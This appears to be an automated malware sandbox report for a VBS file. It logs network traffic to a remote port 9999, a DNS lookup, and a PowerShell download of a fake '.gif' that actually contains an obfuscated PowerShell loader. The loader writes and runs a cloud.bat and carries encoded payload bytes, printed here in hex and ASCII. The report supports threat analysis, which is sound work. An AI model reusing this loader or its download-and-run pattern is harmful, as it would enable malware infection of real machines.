Oct 12, 2024 16:40:03.962915897 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:03.967730045 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:03.967787981 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:03.972604036 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:04.178224087 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:04.227457047 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:04.311556101 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:04.313250065 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:04.318083048 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:04.318166018 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:04.323266029 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:12.649782896 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:12.654665947 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:12.654773951 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:12.660454988 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:12.906822920 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:12.961868048 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:13.039628983 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:13.044645071 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:13.049602985 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:13.049794912 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:13.054660082 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:14.109838963 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:14.164971113 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:14.243379116 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:14.289978027 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.337640047 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.342617989 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:21.342719078 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.347551107 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:21.643181086 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:21.696183920 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.735361099 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:21.736967087 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.741868019 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:21.741946936 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:21.746822119 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.025150061 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:30.031454086 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.031557083 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:30.037157059 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.218616009 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.277678967 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:30.351706982 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.353619099 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:30.358427048 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:30.358515978 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:30.363460064 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:38.712672949 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:38.717592001 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:38.717703104 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:38.722543955 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:39.069402933 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:39.118118048 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:39.207134962 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:39.209120989 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:39.213952065 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:39.214039087 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:39.218764067 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.206084013 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.258738995 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.339581013 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.383717060 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.400262117 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.405241966 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.405462027 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.410568953 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.582065105 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.633686066 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.673732996 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.675355911 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.680308104 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:47.680417061 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:47.685282946 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.090544939 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.095341921 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.095428944 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.100291967 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.583056927 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.633651972 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.715487957 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.758691072 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.930433989 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.935273886 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:40:56.935378075 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:40:56.940228939 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:01.743577957 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:01.748574972 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:01.749943972 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:01.755039930 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:01.931416988 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:02.022109985 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:02.022371054 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:02.024523973 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:02.029340029 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:02.029808044 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:02.034775019 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:03.806005955 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:03.810957909 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:03.811045885 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:03.815895081 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:03.992615938 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:04.053184032 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:04.127089977 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:04.128863096 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:04.133656979 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:04.133719921 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:04.138480902 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.493527889 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:12.499186993 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.499301910 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:12.504143953 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.714128017 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.847151041 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.847260952 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:12.848978996 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:12.853774071 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:12.853852034 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:12.858669043 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:16.542150021 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:16.649275064 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:16.675260067 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:16.836766005 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.602896929 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.607832909 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:17.607901096 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.612909079 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:17.783824921 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:17.874610901 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:17.874672890 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.877876043 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.882807016 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:17.882863045 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:17.887825012 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:21.665266037 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:21.670579910 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:21.670665979 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:21.675651073 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:21.881753922 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:21.930495977 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:22.283411026 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:22.284424067 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:22.493032932 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:22.616341114 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:22.616416931 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:22.618643045 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:22.618726015 CEST	53510	9999	192.168.2.5	88.119.175.153
Oct 12, 2024 16:41:22.619463921 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:22.622438908 CEST	9999	53510	88.119.175.153	192.168.2.5
Oct 12, 2024 16:41:22.623498917 CEST	9999	53510	88.119.175.153	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2024 16:39:22.224272013 CEST	49338	53	192.168.2.5	1.1.1.1
Oct 12, 2024 16:39:22.279524088 CEST	53	49338	1.1.1.1	192.168.2.5
Oct 12, 2024 16:39:30.875236034 CEST	53	58960	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 12, 2024 16:39:22.224272013 CEST	192.168.2.5	1.1.1.1	0xfa6b	Standard query (0)	varietydirectoutlet.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 12, 2024 16:39:22.279524088 CEST	1.1.1.1	192.168.2.5	0xfa6b	No error (0)	varietydirectoutlet.com		122.201.127.73	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

varietydirectoutlet.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	122.201.127.73	443	4844	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-12 14:39:23 UTC	87	OUT	GET /redro/sasa.gif HTTP/1.1 Host: varietydirectoutlet.com Connection: Keep-Alive
2024-10-12 14:39:23 UTC	235	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 14:39:23 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 06 Oct 2024 16:02:48 GMT Accept-Ranges: bytes Content-Length: 1243696 Content-Type: image/gif
2024-10-12 14:39:23 UTC	7957	IN	Data Raw: ff fe 0d 00 0a 00 73 00 45 00 54 00 2d 00 69 00 54 00 65 00 6d 00 20 00 28 00 27 00 56 00 61 00 27 00 2b 00 27 00 72 00 27 00 2b 00 27 00 69 00 61 00 62 00 27 00 2b 00 27 00 6c 00 45 00 27 00 2b 00 27 00 3a 00 73 00 6a 00 33 00 4f 00 47 00 27 00 29 00 20 00 28 00 5b 00 54 00 79 00 50 00 45 00 5d 00 28 00 22 00 7b 00 30 00 7d 00 7b 00 32 00 7d 00 7b 00 31 00 7d 00 22 00 2d 00 66 00 27 00 43 00 6f 00 27 00 2c 00 27 00 52 00 74 00 27 00 2c 00 27 00 6e 00 56 00 45 00 27 00 29 00 29 00 20 00 20 00 3b 00 20 00 20 00 20 00 24 00 7b 00 6b 00 60 00 35 00 4e 00 7d 00 3d 00 20 00 5b 00 74 00 59 00 70 00 45 00 5d 00 28 00 22 00 7b 00 31 00 7d 00 7b 00 32 00 7d 00 7b 00 30 00 7d 00 22 00 20 00 2d 00 66 00 20 00 27 00 69 00 4c 00 45 00 27 00 2c 00 27 00 69 00 4f 00 2e Data Ascii: sET-iTem ('Va'+'r'+'iab'+'lE'+':sj3OG') ([TyPE]("{0}{2}{1}"-f'Co','Rt','nVE')) ; ${k`5N}= [tYpE]("{1}{2}{0}" -f 'iLE','iO.
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 20 00 37 00 31 00 20 00 36 00 42 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 36 00 33 00 20 00 33 00 38 00 20 00 37 00 33 00 20 00 36 00 41 00 20 00 33 00 38 00 20 00 33 00 33 00 20 00 33 00 33 00 20 00 37 00 34 00 20 00 33 00 34 00 20 00 33 00 35 00 20 00 33 00 34 00 20 00 36 00 44 00 20 00 36 00 31 00 20 00 33 00 37 00 20 00 37 00 31 00 20 00 36 00 42 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 35 00 31 00 20 00 34 00 36 00 20 00 36 00 33 00 20 00 33 00 38 00 20 00 Data Ascii: 71 6B 51 46 51 46 63 38 73 6A 38 33 33 74 34 35 34 6D 61 37 71 6B 51 46 51 46 51 46 51 46 51 46 51 46 51 46 51 46 51 46 63 38
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 36 00 44 00 20 00 36 00 41 00 20 00 36 00 45 00 20 00 37 00 36 00 20 00 37 00 33 00 20 00 37 00 39 00 20 00 37 00 35 00 20 00 37 00 32 00 20 00 36 00 42 00 20 00 36 00 41 00 20 00 37 00 31 00 20 00 36 00 42 00 20 00 36 00 43 00 20 00 36 00 45 00 20 00 36 00 37 00 20 00 37 00 33 00 20 00 36 00 46 00 20 00 36 00 43 00 20 00 37 00 38 00 20 00 36 00 37 00 20 00 37 00 31 00 20 00 37 00 35 00 20 00 37 00 36 00 20 00 36 00 33 00 20 00 37 00 31 00 20 00 36 00 46 00 20 00 36 00 45 00 20 00 36 00 41 00 20 00 36 00 39 00 20 00 36 00 36 00 20 00 36 00 38 00 20 00 36 00 46 00 20 00 36 00 38 00 20 00 37 00 39 00 20 00 36 00 33 00 20 00 36 00 34 00 20 00 37 00 30 00 20 00 36 00 44 00 20 00 36 00 41 00 20 00 37 00 33 00 20 00 36 00 43 00 20 00 37 00 39 00 20 00 37 00 Data Ascii: 6D 6A 6E 76 73 79 75 72 6B 6A 71 6B 6C 6E 67 73 6F 6C 78 67 71 75 76 63 71 6F 6E 6A 69 66 68 6F 68 79 63 64 70 6D 6A 73 6C 79 7
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 38 00 20 00 36 00 43 00 20 00 37 00 30 00 20 00 37 00 30 00 20 00 36 00 35 00 20 00 36 00 33 00 20 00 37 00 41 00 20 00 37 00 39 00 20 00 37 00 32 00 20 00 30 00 44 00 20 00 30 00 41 00 20 00 34 00 34 00 20 00 36 00 39 00 20 00 36 00 44 00 20 00 32 00 30 00 20 00 37 00 41 00 20 00 36 00 39 00 20 00 37 00 37 00 20 00 36 00 34 00 20 00 36 00 33 00 20 00 36 00 36 00 20 00 36 00 41 00 20 00 36 00 34 00 20 00 36 00 38 00 20 00 36 00 31 00 20 00 36 00 41 00 20 00 37 00 32 00 20 00 36 00 31 00 20 00 37 00 30 00 20 00 36 00 39 00 20 00 37 00 34 00 20 00 37 00 37 00 20 00 36 00 31 00 20 00 37 00 37 00 20 00 36 00 35 00 20 00 37 00 31 00 20 00 36 00 32 00 20 00 37 00 39 00 20 00 36 00 43 00 20 00 36 00 41 00 20 00 37 00 39 00 20 00 36 00 33 00 20 00 37 00 37 00 Data Ascii: 8 6C 70 70 65 63 7A 79 72 0D 0A 44 69 6D 20 7A 69 77 64 63 66 6A 64 68 61 6A 72 61 70 69 74 77 61 77 65 71 62 79 6C 6A 79 63 77
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 20 00 37 00 35 00 20 00 36 00 45 00 20 00 32 00 30 00 20 00 32 00 32 00 20 00 36 00 33 00 20 00 36 00 44 00 20 00 36 00 34 00 20 00 32 00 30 00 20 00 32 00 46 00 20 00 36 00 33 00 20 00 32 00 30 00 20 00 34 00 33 00 20 00 33 00 41 00 20 00 35 00 43 00 20 00 35 00 30 00 20 00 37 00 32 00 20 00 36 00 46 00 20 00 36 00 37 00 20 00 37 00 32 00 20 00 36 00 31 00 20 00 36 00 44 00 20 00 34 00 34 00 20 00 36 00 31 00 20 00 37 00 34 00 20 00 36 00 31 00 20 00 35 00 43 00 20 00 34 00 33 00 20 00 36 00 43 00 20 00 36 00 46 00 20 00 37 00 35 00 20 00 36 00 34 00 20 00 35 00 43 00 20 00 36 00 33 00 20 00 36 00 43 00 20 00 36 00 46 00 20 00 37 00 35 00 20 00 36 00 34 00 20 00 32 00 45 00 20 00 36 00 32 00 20 00 36 00 31 00 20 00 37 00 34 00 20 00 32 00 32 00 20 00 Data Ascii: 75 6E 20 22 63 6D 64 20 2F 63 20 43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 5C 43 6C 6F 75 64 5C 63 6C 6F 75 64 2E 62 61 74 22
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 27 00 41 00 27 00 2c 00 27 00 57 00 72 00 69 00 74 00 65 00 27 00 29 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 22 00 24 00 64 00 5c 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 62 00 61 00 74 00 22 00 20 00 2c 00 20 00 24 00 7b 00 43 00 60 00 6f 00 6e 00 54 00 45 00 60 00 4e 00 74 00 7d 00 29 00 0d 00 0a 00 0d 00 0a 00 74 00 72 00 79 00 20 00 7b 00 0d 00 0a 00 24 00 7b 00 43 00 60 00 4f 00 6e 00 74 00 45 00 6e 00 74 00 7d 00 3d 00 40 00 27 00 0d 00 0a 00 0d 00 0a 00 24 00 7b 00 65 00 60 00 68 00 6d 00 7d 00 20 00 20 00 3d 00 20 00 20 00 5b 00 54 00 59 00 70 00 65 00 5d 00 28 00 22 00 7b 00 30 00 7d 00 7b 00 31 00 7d 00 22 00 20 00 2d 00 46 00 27 00 63 00 4f 00 27 00 2c 00 27 00 6e 00 76 00 45 00 52 00 54 00 27 00 29 00 3b 00 20 00 26 00 28 00 27 00 Data Ascii: 'A','Write').Invoke("$d\cloud.bat" , ${C`onTE`Nt})try {${C`OntEnt}=@'${e`hm} = [TYpe]("{0}{1}" -F'cO','nvERT'); &('
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 2c 00 20 00 30 00 78 00 36 00 33 00 2c 00 20 00 30 00 78 00 45 00 42 00 2c 00 20 00 30 00 78 00 45 00 41 00 2c 00 20 00 30 00 78 00 34 00 31 00 2c 00 20 00 30 00 78 00 37 00 43 00 2c 00 20 00 30 00 78 00 37 00 44 00 2c 00 20 00 30 00 78 00 32 00 41 00 2c 00 20 00 30 00 78 00 44 00 43 00 2c 00 20 00 30 00 78 00 39 00 34 00 2c 00 20 00 30 00 78 00 44 00 34 00 2c 00 20 00 30 00 78 00 43 00 46 00 2c 00 20 00 30 00 78 00 45 00 34 00 2c 00 20 00 30 00 78 00 31 00 39 00 2c 00 20 00 30 00 78 00 41 00 46 00 2c 00 20 00 30 00 78 00 44 00 31 00 2c 00 20 00 30 00 78 00 41 00 31 00 2c 00 20 00 30 00 78 00 45 00 45 00 2c 00 20 00 30 00 78 00 31 00 42 00 2c 00 20 00 30 00 78 00 41 00 42 00 2c 00 20 00 30 00 78 00 41 00 44 00 2c 00 20 00 30 00 78 00 30 00 33 00 2c 00 Data Ascii: , 0x63, 0xEB, 0xEA, 0x41, 0x7C, 0x7D, 0x2A, 0xDC, 0x94, 0xD4, 0xCF, 0xE4, 0x19, 0xAF, 0xD1, 0xA1, 0xEE, 0x1B, 0xAB, 0xAD, 0x03,
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 45 00 37 00 2c 00 20 00 30 00 78 00 45 00 31 00 2c 00 20 00 30 00 78 00 46 00 41 00 2c 00 20 00 30 00 78 00 39 00 32 00 2c 00 20 00 30 00 78 00 45 00 32 00 2c 00 20 00 30 00 78 00 36 00 45 00 2c 00 20 00 30 00 78 00 46 00 35 00 2c 00 20 00 30 00 78 00 37 00 42 00 2c 00 20 00 30 00 78 00 34 00 44 00 2c 00 20 00 30 00 78 00 34 00 41 00 2c 00 20 00 30 00 78 00 44 00 44 00 2c 00 20 00 30 00 78 00 31 00 36 00 2c 00 20 00 30 00 78 00 44 00 30 00 2c 00 20 00 30 00 78 00 30 00 33 00 2c 00 20 00 30 00 78 00 38 00 42 00 2c 00 20 00 30 00 78 00 39 00 32 00 2c 00 20 00 30 00 78 00 32 00 41 00 2c 00 20 00 30 00 78 00 42 00 31 00 2c 00 20 00 30 00 78 00 41 00 38 00 2c 00 20 00 30 00 78 00 37 00 35 00 2c 00 20 00 30 00 78 00 38 00 32 00 2c 00 20 00 30 00 78 00 38 00 Data Ascii: E7, 0xE1, 0xFA, 0x92, 0xE2, 0x6E, 0xF5, 0x7B, 0x4D, 0x4A, 0xDD, 0x16, 0xD0, 0x03, 0x8B, 0x92, 0x2A, 0xB1, 0xA8, 0x75, 0x82, 0x8
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 30 00 78 00 41 00 32 00 2c 00 20 00 30 00 78 00 42 00 43 00 2c 00 20 00 30 00 78 00 43 00 45 00 2c 00 20 00 30 00 78 00 31 00 34 00 2c 00 20 00 30 00 78 00 43 00 37 00 2c 00 20 00 30 00 78 00 43 00 36 00 2c 00 20 00 30 00 78 00 31 00 33 00 2c 00 20 00 30 00 78 00 37 00 30 00 2c 00 20 00 30 00 78 00 37 00 44 00 2c 00 20 00 30 00 78 00 43 00 30 00 2c 00 20 00 30 00 78 00 45 00 35 00 2c 00 20 00 30 00 78 00 37 00 38 00 2c 00 20 00 30 00 78 00 42 00 36 00 2c 00 20 00 30 00 78 00 37 00 39 00 2c 00 20 00 30 00 78 00 46 00 43 00 2c 00 20 00 30 00 78 00 41 00 39 00 2c 00 20 00 30 00 78 00 41 00 45 00 2c 00 20 00 30 00 78 00 30 00 30 00 2c 00 20 00 30 00 78 00 31 00 34 00 2c 00 20 00 30 00 78 00 34 00 30 00 2c 00 20 00 30 00 78 00 38 00 32 00 2c 00 20 00 30 00 Data Ascii: 0xA2, 0xBC, 0xCE, 0x14, 0xC7, 0xC6, 0x13, 0x70, 0x7D, 0xC0, 0xE5, 0x78, 0xB6, 0x79, 0xFC, 0xA9, 0xAE, 0x00, 0x14, 0x40, 0x82, 0
2024-10-12 14:39:24 UTC	8000	IN	Data Raw: 00 2c 00 20 00 30 00 78 00 36 00 38 00 2c 00 20 00 30 00 78 00 34 00 45 00 2c 00 20 00 30 00 78 00 44 00 44 00 2c 00 20 00 30 00 78 00 45 00 31 00 2c 00 20 00 30 00 78 00 31 00 42 00 2c 00 20 00 30 00 78 00 39 00 31 00 2c 00 20 00 30 00 78 00 34 00 46 00 2c 00 20 00 30 00 78 00 33 00 34 00 2c 00 20 00 30 00 78 00 31 00 43 00 2c 00 20 00 30 00 78 00 41 00 33 00 2c 00 20 00 30 00 78 00 44 00 35 00 2c 00 20 00 30 00 78 00 46 00 42 00 2c 00 20 00 30 00 78 00 37 00 33 00 2c 00 20 00 30 00 78 00 46 00 45 00 2c 00 20 00 30 00 78 00 31 00 30 00 2c 00 20 00 30 00 78 00 44 00 39 00 2c 00 20 00 30 00 78 00 30 00 31 00 2c 00 20 00 30 00 78 00 30 00 42 00 2c 00 20 00 30 00 78 00 36 00 30 00 2c 00 20 00 30 00 78 00 45 00 39 00 2c 00 20 00 30 00 78 00 41 00 46 00 2c 00 Data Ascii: , 0x68, 0x4E, 0xDD, 0xE1, 0x1B, 0x91, 0x4F, 0x34, 0x1C, 0xA3, 0xD5, 0xFB, 0x73, 0xFE, 0x10, 0xD9, 0x01, 0x0B, 0x60, 0xE9, 0xAF,

Target ID:	0
Start time:	10:39:10
Start date:	12/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs"
Imagebase:	0x7ff6c7de0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:39:15
Start date:	12/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
